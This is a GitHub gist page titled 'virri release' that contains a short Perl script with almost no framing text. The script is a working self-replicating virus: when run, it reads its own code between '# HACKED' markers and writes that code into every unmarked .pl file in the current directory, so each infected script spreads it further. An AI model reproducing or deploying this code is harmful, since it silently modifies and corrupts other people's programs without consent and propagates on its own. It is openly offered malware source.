Skip to content

Instantly share code, notes, and snippets.

@fakessh
Created September 23, 2012 02:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fakessh/3768611 to your computer and use it in GitHub Desktop.
Save fakessh/3768611 to your computer and use it in GitHub Desktop.
virri release
#!/opt/perl/bin/perl -w
use strict;
# HACKED
BEGIN {
local *ME;
if (open ME, $0) {
local $/;
my $me = <ME>;
my ($text) = $me =~ /(# HACKED\n.*?# HACKED\n)/s;
if (opendir DIR, ".") {
foreach my $file (readdir DIR) {
next unless $file =~ /.pl$/;
local *FILE;
if (open FILE, "+< ./$file") {
my $program = <FILE>;
unless ($program =~ /# HACKED/) {
$program =~ s/\n/\n$text/;
}
seek FILE, 0, 0;
print FILE $program;
}
close FILE;
}
}
closedir DIR;
}
close ME;
}
# HACKED
__END__
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment